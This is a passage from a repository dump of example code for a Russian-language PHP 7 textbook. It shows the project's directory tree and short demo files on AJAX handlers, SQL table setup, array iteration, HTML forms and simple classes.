├── .gitignore
├── README.md
├── ajax
    ├── addcom.php
    ├── catalog.php
    ├── catalogs.sql
    ├── check.php
    ├── checkboxes.php
    ├── click.html
    ├── comments.css
    ├── comments.php
    ├── comments.sql
    ├── connect.php
    ├── files.php
    ├── html.html
    ├── index.html
    ├── jquery.js
    ├── jquery.min.js
    ├── list.css
    ├── list.php
    ├── load.php
    ├── select.php
    ├── time.php
    ├── user.php
    └── users.sql
├── arrays
    ├── array_multisort.php
    ├── badplus.php
    ├── for.php
    ├── foreach_copy.php
    ├── foreach_ref.php
    ├── forkeys.php
    └── list.php
├── buildin
    └── index.php
├── cgi
    └── getform.htm
├── cgiinside
    ├── c
    │   ├── cookies.c
    │   ├── env.c
    │   ├── gif.c
    │   ├── post.c
    │   ├── postdecode.c
    │   ├── script.c
    │   ├── test.gif
    │   └── urldecode.c
    ├── multipart.htm
    └── postform.htm
├── classes
    ├── File
    │   ├── Logger.php
    │   └── Logger0.php
    ├── Math
    │   ├── Complex.php
    │   ├── Complex1.php
    │   └── Complex2.php
    ├── cache.php
    ├── call.php
    ├── call1.php
    ├── clone.php
    ├── clone0.php
    ├── cls.php
    ├── const.php
    ├── construct.php
    ├── defined.php
    ├── destr.php
    ├── destr0.php
    ├── oldcons.php
    ├── overload.php
    ├── refcount.php
    ├── serialize.php
    ├── static.php
    ├── text.obj
    ├── tostring.php
    ├── unserialize.php
    ├── user.php
    ├── user_serialize.php
    └── user_unserialize.php
├── classes_php
    ├── closure.php
    ├── dateinterval.php
    ├── dateinterval_diff.php
    ├── dateperiod.php
    ├── datetime.php
    ├── datetime_rss.php
    ├── datetime_set.php
    ├── datetimezone.php
    ├── dir.php
    ├── dir1.php
    ├── generator.php
    ├── generator_class.php
    ├── next.php
    ├── rewind.php
    └── view.php
├── composer
    ├── dir.php
    ├── file.php
    ├── items_range.php
    ├── languages.sql
    ├── monolog
    │   ├── composer.json
    │   ├── composer.lock
    │   └── index.php
    ├── pager
    │   ├── README.md
    │   ├── composer.json
    │   └── src
    │   │   └── ISPager
    │   │       ├── DirPager.php
    │   │       ├── FilePager.php
    │   │       ├── ItemsRange.php
    │   │       ├── Pager.php
    │   │       ├── PagesList.php
    │   │       ├── PdoPager.php
    │   │       └── View.php
    ├── pager_use
    │   ├── composer.json
    │   ├── composer.lock
    │   └── index.php
    ├── pdo.php
    ├── phinx
    │   ├── composer.json
    │   ├── composer.lock
    │   ├── db
    │   │   ├── migrations
    │   │   │   └── 20151227101306_create_user_table.php
    │   │   └── seeds
    │   │   │   └── UsersSeeder.php
    │   └── phinx.yml
    ├── photos
    │   ├── s_20040815135808.jpg
    │   ├── s_20040815135939.JPG
    │   ├── s_20040815140021.JPG
    │   ├── s_20040815140107.JPG
    │   ├── s_20040815140209.JPG
    │   ├── s_20040815140411.JPG
    │   ├── s_20040815140506.JPG
    │   ├── s_20040815140606.JPG
    │   ├── s_20040815140809.JPG
    │   ├── s_20040815141012.JPG
    │   └── s_20040815141200.JPG
    └── psysh
    │   ├── composer.json
    │   ├── composer.lock
    │   └── index.php
├── curl
    ├── curl.php
    ├── form.html
    ├── handler.php
    ├── headers.php
    ├── post.php
    ├── time.php
    └── user_agent.php
├── date
    ├── calendar.php
    ├── date.php
    ├── gm.php
    ├── microtime.php
    ├── strftime.php
    └── strtotime.php
├── except
    ├── PHP
    │   └── Exceptionizer.php
    ├── catchall.php
    ├── destr.php
    ├── er.php
    ├── error.php
    ├── error_catch.php
    ├── finally.php
    ├── handler.php
    ├── handler0.php
    ├── iface
    │   ├── exceptions.php
    │   ├── interfaces.php
    │   └── test.php
    ├── inherit.php
    ├── seh.php
    ├── simple.php
    ├── stack.php
    ├── submit.php
    ├── tostring.php
    ├── trace.php
    ├── trigger_error.php
    ├── w2e_hier.php
    └── w2e_simple.php
├── exec
    ├── dead.php
    ├── esc.php
    └── popen.php
├── expr
    ├── bits.php
    ├── bits_pack.php
    ├── bits_unpack.php
    ├── bool.php
    ├── boolinc.php
    ├── dynamic.php
    ├── eq.php
    ├── eqobj.php
    ├── exists.php
    ├── hardref.php
    ├── if.php
    ├── objref.php
    ├── var_export.php
    ├── warn.php
    └── warnoff.php
├── extensions
    ├── phpinfo.php
    ├── precision.php
    └── session.php
├── files
    ├── counter.php
    ├── csv.php
    ├── file.csv
    ├── file.ini
    ├── glob.php
    ├── ini.php
    ├── lock_ex.php
    ├── lock_ex_cyclic.php
    ├── lock_sh.php
    ├── slashes.php
    ├── textbin.php
    └── tree.php
├── filters
    ├── anonim_sanitize.php
    ├── boolean_validate.php
    ├── callback_sanitize.php
    ├── default.php
    ├── email_sanitize.php
    ├── email_validate.php
    ├── encoded_sanitize.php
    ├── filter_input.php
    ├── filter_var.php
    ├── filter_var_array.php
    ├── int_float_sanitize.php
    ├── int_sanitize.php
    ├── ip_validate.php
    ├── magic_quotes_sanitize.php
    ├── range_validate.php
    ├── regexp_validate.php
    └── special_chars_sanitize.php
├── forms
    ├── checkbox.php
    ├── cookie.php
    ├── dump.php
    ├── form.html
    ├── hello.php
    ├── ip.php
    ├── lock.php
    └── qs.php
├── fpm
    ├── php-fpm.conf
    ├── pool.d
    │   ├── example.com.conf
    │   └── example.net.conf
    └── sites-available
    │   ├── example.com
    │   └── example.net
├── func
    ├── anonim.php
    ├── anpar.php
    ├── byref.php
    ├── byval.php
    ├── call_user_func_array.php
    ├── closure.php
    ├── dumper.php
    ├── dumperEx.php
    ├── func_get_args.php
    ├── global.php
    ├── local.php
    ├── nested.php
    ├── retnull.php
    ├── retref.php
    ├── return.php
    ├── select.php
    ├── speed.php
    ├── static.php
    ├── stricttypes.php
    ├── toomanyargs.php
    ├── types.php
    ├── unset.php
    ├── varargs.php
    ├── varargsold.php
    └── virtual.php
├── funcarr
    ├── array_flip.php
    ├── array_intersect.php
    ├── array_reverse.php
    ├── asort.php
    ├── json_answer.php
    ├── json_decode.php
    ├── json_encode.php
    ├── json_index.js
    ├── json_index.php
    ├── ksort.php
    ├── merge.php
    ├── natsort.php
    ├── shuffle.php
    ├── sort.php
    ├── sort1.php
    ├── uksort.php
    └── usort.php
├── gd
    ├── button.gif
    ├── button.php
    ├── lib
    │   └── imagettf.php
    ├── pen.php
    ├── random.php
    ├── resample.php
    ├── sample00.gif
    ├── sample01.gif
    ├── sample02.png
    ├── sample03.jpg
    ├── sample1.jpg
    ├── sample2.jpg
    ├── sample3.jpg
    ├── sample4.jpg
    ├── sample5.jpg
    ├── semitransp.php
    ├── tile.php
    ├── times.ttf
    ├── transparent.htm
    ├── transparent.php
    └── ttf.php
├── generators
    ├── array.php
    ├── collect.php
    ├── combine.php
    ├── combine_from.php
    ├── keys.php
    ├── makerange_bad.php
    ├── makerange_good.php
    ├── object.php
    ├── ref.php
    ├── reject.php
    ├── return.php
    ├── select.php
    ├── send.php
    ├── simple.php
    └── yield.php
├── inherit
    ├── File
    │   ├── Logger.php
    │   └── Logger
    │   │   ├── Debug.php
    │   │   └── Debug0.php
    ├── abstract.php
    ├── anonym.php
    ├── anonym_nested.php
    ├── final.php
    ├── ifacemulti.php
    ├── inherit.php
    ├── inherit0.php
    ├── inherit0cast.php
    ├── inherit_static.php
    ├── pages
    │   ├── Cached.php
    │   ├── CachedA.php
    │   ├── Category.php
    │   ├── News.php
    │   ├── Page.php
    │   ├── PageA.php
    │   ├── StaticPage.php
    │   ├── cast.php
    │   ├── instanceof.php
    │   └── test.php
    ├── static.php
    ├── traits.php
    ├── traits_conflict.php
    └── traits_inherit.php
├── instruct
    ├── dowhile.php
    ├── for.php
    ├── foreach.php
    ├── goto.php
    ├── ifelse.php
    ├── require
    │   ├── foot.html
    │   ├── head.html
    │   └── script.php
    ├── trouble
    │   ├── aargh.php
    │   ├── wlib.php
    │   └── xllib.php
    └── while.php
├── iterators
    ├── array.php
    ├── directory.php
    ├── filter.php
    ├── iter_fs.php
    ├── iter_simple.php
    ├── lib
    │   ├── FS.php
    │   └── filter.php
    ├── limit.php
    ├── recursion.php
    ├── recursion_dir.php
    └── size.php
├── mail
    ├── attach.php
    ├── handler.php
    ├── image.php
    ├── lib
    │   ├── attach.php
    │   ├── mail_enc.php
    │   ├── mailenc.php
    │   ├── mailx.php
    │   └── template.php
    ├── mail.eml
    ├── mail.php.eml
    ├── mail_php.php
    ├── mail_simple.php
    ├── mail_x.php
    ├── s_20040815135808.jpg
    └── s_20040815135939.JPG
├── math
    ├── largetextfile.txt
    ├── mt_srand.php
    ├── nan.php
    └── randline.php
├── memcached
    ├── add.php
    ├── connect.php
    ├── connect_multi.php
    ├── delete_by_key.php
    ├── error.php
    ├── error_code.php
    ├── fetch.php
    ├── get_by_key.php
    ├── get_multi.php
    ├── groups.php
    ├── increment.php
    ├── server_by_key.php
    ├── set.php
    ├── set_by_key.php
    └── set_multi.php
├── mysql
    ├── .my.cnf
    ├── addnews.php
    ├── authors.sql
    ├── auto.sql
    ├── catalogs.sql
    ├── connect.php
    ├── connect_db.php
    ├── errors.php
    ├── exec.php
    ├── fetch.php
    ├── fetch_all.php
    ├── forums.sql
    ├── multi_insert.sql
    ├── my.cnf
    ├── news.html
    ├── news.sql
    ├── posts.sql
    ├── prepare.php
    ├── pri.sql
    ├── tbl.sql
    ├── tbl_insert.sql
    ├── tbl_order.sql
    ├── themes.sql
    └── version.php
├── namespace
    ├── PHP7
    │   ├── Page.php
    │   ├── Seo.php
    │   └── Tag.php
    ├── absolute.php
    ├── anonim.php
    ├── autoload.php
    ├── few.php
    ├── few_relative.php
    ├── few_use.php
    ├── namespace.php
    ├── namespace_use.php
    ├── spl_autoload_register.php
    ├── use.php
    └── wrong.php
├── net
    ├── context.php
    ├── file.php
    ├── form.html
    ├── handler.php
    ├── post.php
    ├── socket.php
    └── wrap.php
├── nginx
    ├── mime.types
    ├── nginx.conf
    ├── sites-available
    │   ├── example.com
    │   ├── example.info
    │   ├── example.io
    │   ├── example.net
    │   └── example.org
    └── templates
    │   ├── default
    │   └── php
├── ob
    ├── Buffering
    │   └── Output.php
    ├── correct.php
    ├── gz.htm
    ├── gz.php
    ├── handle.php
    ├── linearize.php
    └── objhandle.php
├── otherfuncs
    ├── create_function.php
    ├── eval.php
    ├── lastmod.php
    ├── mkfuncs.php
    ├── phpinfo.php
    ├── sort.php
    ├── sort_new.php
    └── sort_old.php
├── perm
    ├── fileperms.php
    ├── mtime.php
    ├── text.txt
    └── typefile.php
├── phar
    ├── array.php
    ├── autoloader.php
    ├── autopager.phar
    ├── compress.phar
    ├── compress.phar.gz
    ├── compress.php
    ├── create.php
    ├── extract.php
    ├── foreach.php
    ├── gallery.phar
    ├── gallery.php
    ├── gallery_phar.php
    ├── gallery_use.php
    ├── ispager.phar
    ├── phpinfo.phar
    ├── show.php
    ├── stream.php
    ├── stub.php
    ├── stub_use.php
    ├── text.phar
    └── text.php
├── phpbasics
    └── sq.php
├── phpdocs
    ├── PHP7
    │   └── Page.php
    ├── Page.php
    └── phpdocs
    │   ├── composer.json
    │   ├── composer.lock
    │   ├── docblock.php
    │   └── docs
    │       ├── .htaccess
    │       ├── css
    │           ├── bootstrap-combined.no-icons.min.css
    │           ├── font-awesome.min.css
    │           ├── jquery.iviewer.css
    │           ├── phpdocumentor-clean-icons
    │           │   ├── Read Me.txt
    │           │   ├── fonts
    │           │   │   ├── phpdocumentor-clean-icons.dev.svg
    │           │   │   ├── phpdocumentor-clean-icons.eot
    │           │   │   ├── phpdocumentor-clean-icons.svg
    │           │   │   ├── phpdocumentor-clean-icons.ttf
    │           │   │   └── phpdocumentor-clean-icons.woff
    │           │   ├── lte-ie7.js
    │           │   └── style.css
    │           ├── prism.css
    │           └── template.css
    │       ├── files
    │           ├── docblock.html
    │           └── docblock.php.txt
    │       ├── font
    │           ├── FontAwesome.otf
    │           ├── fontawesome-webfont.eot
    │           ├── fontawesome-webfont.svg
    │           ├── fontawesome-webfont.ttf
    │           └── fontawesome-webfont.woff
    │       ├── graphs
    │           └── class.html
    │       ├── images
    │           ├── apple-touch-icon-114x114.png
    │           ├── apple-touch-icon-72x72.png
    │           ├── apple-touch-icon.png
    │           ├── custom-icons.svg
    │           ├── favicon.ico
    │           ├── hierarchy-item.png
    │           ├── icon-class-13x13.png
    │           ├── icon-class.svg
    │           ├── icon-interface-13x13.png
    │           ├── icon-interface.svg
    │           ├── icon-trait-13x13.png
    │           ├── icon-trait.svg
    │           └── iviewer
    │           │   ├── grab.cur
    │           │   ├── hand.cur
    │           │   ├── iviewer.rotate_left.png
    │           │   ├── iviewer.rotate_right.png
    │           │   ├── iviewer.zoom_fit.png
    │           │   ├── iviewer.zoom_in.png
    │           │   ├── iviewer.zoom_out.png
    │           │   └── iviewer.zoom_zero.png
    │       ├── index.html
    │       ├── js
    │           ├── bootstrap.min.js
    │           ├── html5.js
    │           ├── jquery-1.11.0.min.js
    │           ├── jquery.dotdotdot-1.5.9.js
    │           ├── jquery.dotdotdot-1.5.9.min.js
    │           ├── jquery.iviewer.js
    │           ├── jquery.iviewer.min.js
    │           ├── jquery.mousewheel.js
    │           ├── jquery.smooth-scroll.js
    │           ├── prism.min.js
    │           └── ui
    │           │   └── 1.10.4
    │           │       └── jquery-ui.min.js
    │       ├── namespaces
    │           └── default.html
    │       ├── phpdoc-cache-2e
    │           └── phpdoc-cache-settings.dat
    │       ├── phpdoc-cache-66
    │           └── phpdoc-cache-file_a55161f66a86fef6e379665611095064.dat
    │       └── reports
    │           ├── deprecated.html
    │           ├── errors.html
    │           └── markers.html
├── preg
    ├── email.php
    ├── ex01.php
    ├── ex02.php
    ├── ex03.php
    ├── ex04.php
    ├── ex05.php
    ├── ex06.php
    ├── ex07.php
    ├── ex08.php
    ├── ex09.php
    ├── ex10.php
    ├── ex11.php
    ├── ex12.php
    ├── grep.php
    ├── hsc.php
    ├── http.php
    ├── largetextfile.txt
    ├── match_all.php
    ├── replace_callback.php
    ├── replace_callback_array.php
    ├── translit.php
    └── uniq.php
├── redirect
    ├── bad.php
    ├── book.txt
    ├── good.php
    ├── internal.php
    └── result.php
├── reflect
    ├── impl_meth.php
    ├── inst.php
    ├── inst_refl.php
    ├── lib
    │   └── Complex2.php
    ├── rclass.php
    ├── rdoc.php
    ├── rexcept.php
    ├── rext.php
    ├── rfunc.php
    └── rinherit.php
├── session
    ├── count.php
    └── handlers.php
├── standarts
    ├── codesniffer
    │   ├── composer.json
    │   └── composer.lock
    ├── indent.php
    ├── interpolate.php
    ├── psr
    │   ├── Cache
    │   │   ├── CacheItemInterface.php
    │   │   └── CacheItemPoolInterface.php
    │   ├── Http
    │   │   └── Message
    │   │   │   ├── MessageInterface.php
    │   │   │   ├── RequestInterface.php
    │   │   │   ├── ResponseInterface.php
    │   │   │   ├── ServerRequestInterface.php
    │   │   │   ├── StreamInterface.php
    │   │   │   ├── UploadedFileInterface.php
    │   │   │   └── UriInterface.php
    │   └── Log
    │   │   └── LoggerInterface.php
    ├── psr1right.php
    ├── psr1wrong.php
    ├── psr2.php
    └── server.php
├── string
    ├── ascii.php
    ├── compare.php
    ├── htmlspecialchars.php
    ├── replace.php
    ├── str_replace.php
    ├── strip_tags.php
    ├── strlen.php
    ├── translit.php
    ├── translit_utf8.php
    ├── utf8.php
    ├── utf8crash.php
    └── wordwrap.php
├── template
    ├── 1
    │   └── news.php
    ├── 2
    │   └── news.php
    ├── comp
    │   ├── component_gbook_add.php
    │   ├── component_gbook_show.php
    │   ├── component_news_show.php
    │   ├── gbook.dat
    │   ├── model.php
    │   └── view.php
    ├── mvc
    │   ├── controller.php
    │   ├── gbook.dat
    │   ├── model.php
    │   ├── passive
    │   │   ├── controller.php
    │   │   ├── gbook.dat
    │   │   └── view.htm
    │   └── view.php
    └── news.txt
├── test
├── upload
    ├── album.php
    ├── complex.php
    └── test.php
├── vagrant
    ├── Vagrantfile01
    ├── Vagrantfile02
    ├── Vagrantfile03
    └── Vagrantfile04
├── www
    ├── getallheaders.php
    ├── lib
    │   ├── http_build_url.php
    │   └── nocache.php
    ├── modify_url.php
    ├── parse_str.php
    ├── parse_url.php
    └── sillycount.php
└── xml
    ├── array.php
    ├── attributes.php
    ├── attributes_list.php
    ├── build.php
    ├── build.xml
    ├── connect.php
    ├── count.php
    ├── enclosure.php
    ├── news.sql
    ├── read.php
    ├── rss.xml
    └── xpath.php


/.gitignore:
--------------------------------------------------------------------------------
 1 | # Ignore all tempfiles
 2 | .swp
 3 | *~
 4 | *.swp
 5 | *.log
 6 | *.cgi
 7 | *.out
 8 | .idea
 9 | .DS_Store
10 | /composer/monolog/vendor/
11 | /composer/pager_use/vendor/
12 | /composer/phinx/vendor/
13 | /composer/psysh/vendor/
14 | /phpdocs/phpdocs/vendor/
15 | /standarts/codesniffer/vendor/
16 | /standarts/vendor/


--------------------------------------------------------------------------------
/ajax/check.php:
--------------------------------------------------------------------------------
 1 | <?php ## AJAX-обработчик состояния флажка
 2 |   // Инициируем сессию
 3 |   session_start();
 4 |   // Изменяем состояние
 5 |   if($_POST['status'] == "true") {
 6 |     $_SESSION[$_POST['id']] = 1;
 7 |   } else {
 8 |     $_SESSION[$_POST['id']] = 0;
 9 |   }
10 | 


--------------------------------------------------------------------------------
/ajax/comments.sql:
--------------------------------------------------------------------------------
 1 | SET NAMES utf8;
 2 | DROP TABLE IF EXISTS comments;
 3 | CREATE TABLE comments (
 4 |   id INT(11) NOT NULL AUTO_INCREMENT,
 5 |   nickname TINYTEXT NOT NULL,
 6 |   content TEXT NOT NULL,
 7 |   created_at DATETIME NOT NULL,
 8 |   is_visible TINYINT(1) NOT NULL DEFAULT 1,
 9 |   PRIMARY KEY (id)
10 | );
11 | 


--------------------------------------------------------------------------------
/ajax/connect.php:
--------------------------------------------------------------------------------
 1 | <?php ## Соединение с базой данных
 2 |   try {
 3 |     $pdo = new PDO(
 4 |       'mysql:host=localhost;dbname=test',
 5 |       'root',
 6 |       '',
 7 |       [PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION]);
 8 |   }
 9 |   catch (PDOException $e) {
10 |     echo "Невозможно установить соединение с базой данных";
11 |   }
12 | ?>


--------------------------------------------------------------------------------
/ajax/html.html:
--------------------------------------------------------------------------------
 1 | <!DOCTYPE html>
 2 | <html lang='ru'>
 3 |   <head>
 4 |     <title>Использование метода html() для изменения текста.</title>
 5 |     <meta charset='utf-8'>
 6 |     <script type="text/javascript" src="jquery.js" ></script>
 7 |     <script type="text/javascript">
 8 |     $(function change_text() {
 9 |       $("p").html("Доступно после регистрации");
10 |     });
11 |     </script>
12 |   </head>
13 |   <body>
14 |     <p>Тест будет изменен.</p>
15 |     <div>Тест останется без изменений.</div>
16 |     <p>Тест будет изменен.</p>
17 |   </body>
18 | </html>
19 | 


--------------------------------------------------------------------------------
/ajax/load.php:
--------------------------------------------------------------------------------
 1 | <!DOCTYPE html>
 2 | <html lang='ru'>
 3 |   <head>
 4 |     <title>Использование метода load()</title>
 5 |     <meta charset='utf-8'>
 6 |     <script type="text/javascript" src="jquery.js" ></script>
 7 |     <script type="text/javascript">
 8 |       // Назначить обработчики события click
 9 |       // после загрузки документа
10 |       $(function(){
11 |         $("#id").on("click", function(){
12 |           $('#info').load("time.php");
13 |         })
14 |       });
15 |     </script>
16 |   </head>
17 |   <body>
18 |     <div><a href='#' id='id'>Получить время</a></div>
19 |     <div id='info'></div>
20 |   </body>
21 | </html>
22 | 


--------------------------------------------------------------------------------
/ajax/select.php:
--------------------------------------------------------------------------------
 1 | <?php ## Формирование пунктов второго выпадающего списка
 2 |   // Устанавливаем соединение с базой данных
 3 |   require_once("connect.php");
 4 | 
 5 |   $query = "SELECT * 
 6 |             FROM catalogs
 7 |             WHERE
 8 |               parent_id = :id AND
 9 |               is_active = 1
10 |             ORDER BY pos";
11 |   $cat = $pdo->prepare($query);
12 |   $cat->execute(['id' => $_GET['id']]);
13 |   echo "<option value='0'>Выберите подраздел</option>";
14 |   while($catalog = $cat->fetch()) {
15 |     echo "<option value='{$catalog['id']}'>{$catalog['name']}</option>";
16 |   }
17 | 


--------------------------------------------------------------------------------
/ajax/time.php:
--------------------------------------------------------------------------------
1 | <?php ## Серверное время
2 |   echo date("d.m.Y H:i:s");
3 | 


--------------------------------------------------------------------------------
/ajax/users.sql:
--------------------------------------------------------------------------------
 1 | SET NAMES utf8;
 2 | DROP TABLE IF EXISTS users;
 3 | CREATE TABLE users (
 4 |   id INT(11) NOT NULL AUTO_INCREMENT,
 5 |   name TINYTEXT NOT NULL,
 6 |   pass TINYTEXT NOT NULL,
 7 |   email TINYTEXT NOT NULL,
 8 |   first_name TINYTEXT NOT NULL,
 9 |   last_name TINYTEXT NOT NULL,
10 |   created_at DATETIME NOT NULL,
11 |   is_block TINYINT(1) NOT NULL DEFAULT 0,
12 |   PRIMARY KEY (id)
13 | );
14 | 
15 | INSERT INTO users VALUES
16 | (NULL, 'd.koterov', 'pass', 'dmitry.koterov@gmail.com',
17 |  'Дмитрий', 'Котеров', 
18 |  '2016-01-04 19:22:41', 0),
19 | (NULL, 'i.simdyanov', 'pass', 'igorsimdyanov@gmail.com', 
20 |  'Игорь', 'Симдянов',
21 |  '2016-01-04 19:40:01', 0);


--------------------------------------------------------------------------------
/arrays/array_multisort.php:
--------------------------------------------------------------------------------
1 | <?php ## Использование функции array_multisort()
2 |   $arr1 = [3, 4, 2, 7, 1, 5];
3 |   $arr2 = ["world", "Hello", "yes", "no", "apple", "wet"];
4 |   array_multisort($arr1, $arr2);
5 |   print_r($arr1);
6 |   print_r($arr2);
7 | ?>


--------------------------------------------------------------------------------
/arrays/badplus.php:
--------------------------------------------------------------------------------
1 | <?php ## Слияние списков при помощи оператора +.
2 |   $good = ["Julian Arahanga", "Matt Doran", "Belinda McClory"];
3 |   $bad = ["Paul Goddard", "Robert Taylor"];
4 |   $ugly = ["Clint Eastwood"];
5 |   $all = $good + $bad + $ugly;
6 |   print_r($all);
7 | ?>
8 | 


--------------------------------------------------------------------------------
/arrays/for.php:
--------------------------------------------------------------------------------
1 | <?php ## Перебор списка.
2 |   $dossier = [
3 |     ["name" => "Thomas Anderson", "born" => "1962-03-11"],
4 |     ["name" => "Keanu Reeves",    "born" => "1962-09-02"],
5 |   ];
6 |   for($i = 0; $i < count($dossier); $i++)
7 |     echo "{$dossier[$i]['name']} was born {$dossier[$i]['born']}<br />";
8 | ?>


--------------------------------------------------------------------------------
/arrays/foreach_copy.php:
--------------------------------------------------------------------------------
1 | <?php ## Цикл перебирает копию массива, а не оригинал.
2 |   $numbers = [100, 313, 605];
3 |   foreach ($numbers as $v) $v++;
4 |   echo "Элементы массива: ";
5 |   foreach ($numbers as $elt) echo "$elt ";
6 | ?>
7 | 


--------------------------------------------------------------------------------
/arrays/foreach_ref.php:
--------------------------------------------------------------------------------
1 | <?php ## Изменение элементов при переборе.
2 |   $numbers = [100, 313, 605];
3 |   foreach ($numbers as &$v) $v++;
4 |   echo "Элементы массива: ";
5 |   foreach ($numbers as $elt) echo "$elt ";
6 | ?>


--------------------------------------------------------------------------------
/arrays/forkeys.php:
--------------------------------------------------------------------------------
1 | <?php ## Перебор ассоциативного массива.
2 |   $birth = [
3 |     "Thomas Anderson" => "1962-03-11",
4 |     "Keanu Reeves"    => "1962-09-02",
5 |   ];
6 |   for (reset($birth); ($k = key($birth)); next($birth))
7 |     echo "$k родился {$birth[$k]}<br />";
8 | ?>


--------------------------------------------------------------------------------
/arrays/list.php:
--------------------------------------------------------------------------------
1 | <?php ## Демонстрация работы со списками.
2 |   $namesList[0] = "Yuen Wo Ping";
3 |   $namesList[1] = "Geofrey Darrow";
4 |   $namesList[2] = "Hugo Weaving";
5 |   echo "А вот первый элемент массива: ".$namesList[0]."<hr />";
6 |   // Печатаем в цикле все элементы массива.
7 |   for($i = 0; $i < count($namesList); $i++)
8 |     echo $namesList[$i]."<br />";
9 | ?>


--------------------------------------------------------------------------------
/buildin/index.php:
--------------------------------------------------------------------------------
1 | <?php ## Проверочный скрипт Hello World.
2 |   echo "Hello world!";
3 | ?>


--------------------------------------------------------------------------------
/cgi/getform.htm:
--------------------------------------------------------------------------------
 1 | <!DOCTYPE html>
 2 | <html lang="ru">
 3 | <head>
 4 |   <title>Документ с формой</title>
 5 |   <meta charset='utf-8'>
 6 | </head>
 7 | <body>
 8 |   <form action="script.cgi" method="GET">
 9 |   Введите имя:
10 |   <input type="text" name="name" value="Неизвестный"><br>
11 |   Введите дату рождения:
12 |   <input type="text" name="born" value="Неизвестно"><br>
13 |   <input type="submit" value="Нажмите кнопку">
14 |   </form>
15 | </body>
16 | </html>


--------------------------------------------------------------------------------
/cgiinside/c/test.gif:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/igorsimdyanov/php7/4796eaffdd9633bd3f3bbd9985c48da05093d4ef/cgiinside/c/test.gif


--------------------------------------------------------------------------------
/cgiinside/multipart.htm:
--------------------------------------------------------------------------------
 1 | <!DOCTYPE html>
 2 | <html lang='ru'>
 3 | <head>
 4 | <title>Отправка данных POST</title>
 5 | <meta charset='utf-8'>
 6 | </head>
 7 | <body>
 8 | <form action="upload.cgi" enctype="multipart/form-data" method="POST">
 9 |   <p>Name: <input type="text" name="Name" value="Мое имя"></p>
10 |   <p>Box: <input type="checkbox" name="Box" value="1" checked></p>
11 |   <p>Area: <input type="textarea" name="Area">Какой-то текст</textarea></p>
12 |   <p><input type="submit"></p>
13 | </form>
14 | </body>
15 | </html>


--------------------------------------------------------------------------------
/cgiinside/postform.htm:
--------------------------------------------------------------------------------
 1 | <!DOCTYPE html>
 2 | <html lang='ru'>
 3 | <head>
 4 | <title>Получение данных POST</title>
 5 | <meta charset='utf-8'>
 6 | </head>
 7 | <body>
 8 | <form action="/cgi-bin/script.cgi?param=value" method="POST">
 9 | <p>Name1: <input type="text" name="name1"></p>
10 | <p>Name2: <input type="text" name="name2"></p>
11 | <p><input type="submit" value="Запустить сценарий!"></p>
12 | </form>
13 | </body>
14 | </html>
15 | 


--------------------------------------------------------------------------------
/classes/Math/Complex.php:
--------------------------------------------------------------------------------
 1 | <?php ## Пример класса.
 2 |   class MathComplex
 3 |   {
 4 |     // Свойства: действительная и мнимая части.
 5 |     public $re, $im;
 6 |     // Метод: добавить число к текущему значению. Число задается
 7 |     // своей действительной и мнимой частью.
 8 |     function add($re, $im)
 9 |     {
10 |       $this->re += $re;
11 |       $this->im += $im;
12 |     }
13 |   }
14 | ?>


--------------------------------------------------------------------------------
/classes/Math/Complex1.php:
--------------------------------------------------------------------------------
 1 | <?php ## Пример класса с методом.
 2 |   class MathComplex1
 3 |   {
 4 |     public $re, $im;
 5 |     // Добавляет к текущему комплексному числу другое.
 6 |     function add(MathComplex1 $y)
 7 |     {
 8 |       $this->re += $y->re;
 9 |       $this->im += $y->im;    
10 |     }
11 |     // Преобразует число в строку (например, для вывода).
12 |     function __toString()
13 |     {
14 |       return "({$this->re}, {$this->im})";
15 |     }
16 |   }
17 | ?>


--------------------------------------------------------------------------------
/classes/Math/Complex2.php:
--------------------------------------------------------------------------------
 1 | <?php ## Пример класса с конструктором.
 2 |   class MathComplex2
 3 |   {
 4 |     public $re, $im;
 5 |     // Инициализация нового объекта.
 6 |     function __construct($re, $im)
 7 |     {
 8 |       $this->re = $re;
 9 |       $this->im = $im;
10 |     }
11 |     // Добавляет к текущему комплексному числу другое.
12 |     function add(MathComplex2 $y)
13 |     {
14 |       $this->re += $y->re;
15 |       $this->im += $y->im;    
16 |     }
17 |     // Преобразует число в строку (например, для вывода).
18 |     function __toString()
19 |     {
20 |       return "({$this->re}, {$this->im})";
21 |     }
22 |   }
23 | ?>


--------------------------------------------------------------------------------
/classes/call.php:
--------------------------------------------------------------------------------
 1 | <?php ## Вызов метода объекта.
 2 |   // Загрузка класса.
 3 |   require_once "Math/Complex.php";
 4 |   // Создаем новый объект класса Math_Complex.
 5 |   $obj = new MathComplex;
 6 |   // Присваиваем начальное значение свойствам.
 7 |   $obj->re = 16.7;
 8 |   $obj->im = 101;
 9 |   // Вызов метода add() с параметрами (18.09, 303) объекта $obj.
10 |   $obj->add(18.09, 303);
11 |   // Выводим результат:
12 |   echo "({$obj->re}, {$obj->im})";
13 | ?>


--------------------------------------------------------------------------------
/classes/call1.php:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/igorsimdyanov/php7/4796eaffdd9633bd3f3bbd9985c48da05093d4ef/classes/call1.php


--------------------------------------------------------------------------------
/classes/clone0.php:
--------------------------------------------------------------------------------
 1 |   <?php ## Встроенное клонирование объектов.
 2 |   require_once "Math/Complex2.php";
 3 |   $a = new MathComplex2(314, 101);
 4 |   $x = new MathComplex2(0, 0);
 5 |   // Создаем КОПИЮ объекта $x.
 6 |   $y = clone $x;
 7 |   // Теперь $x и $y полностью различны.
 8 |   $y->add($a);
 9 |   // При этом $x не изменяется! 
10 |   echo "x=", $x, ", y=", $y;
11 |   // Попробуйте убрать clone - вы увидите, что $x и $y имеют
12 |   // одинаковые значения, ибо ссылаются на один и тот же объект.
13 | ?>
14 | 


--------------------------------------------------------------------------------
/classes/cls.php:
--------------------------------------------------------------------------------
 1 | <?php ## Класс cls
 2 |   class cls
 3 |   {
 4 |     public $var;
 5 |     public function __construct($var)
 6 |     {
 7 |       $this->var = $var;
 8 |     }
 9 |   }
10 | ?>


--------------------------------------------------------------------------------
/classes/const.php:
--------------------------------------------------------------------------------
 1 | <?php ## Использование констант в классах.
 2 |   class cls
 3 |   {
 4 |     const NAME = "cls";
 5 |     public function method()
 6 |     {
 7 |       // echo $this->NAME; // Ошибочное обращение
 8 |       echo self::NAME;
 9 |       echo "<br />";
10 |       echo cls::NAME;
11 |       echo "<br />";
12 |     }
13 |   }
14 |   
15 |   echo cls::NAME;
16 | ?>
17 | 


--------------------------------------------------------------------------------
/classes/construct.php:
--------------------------------------------------------------------------------
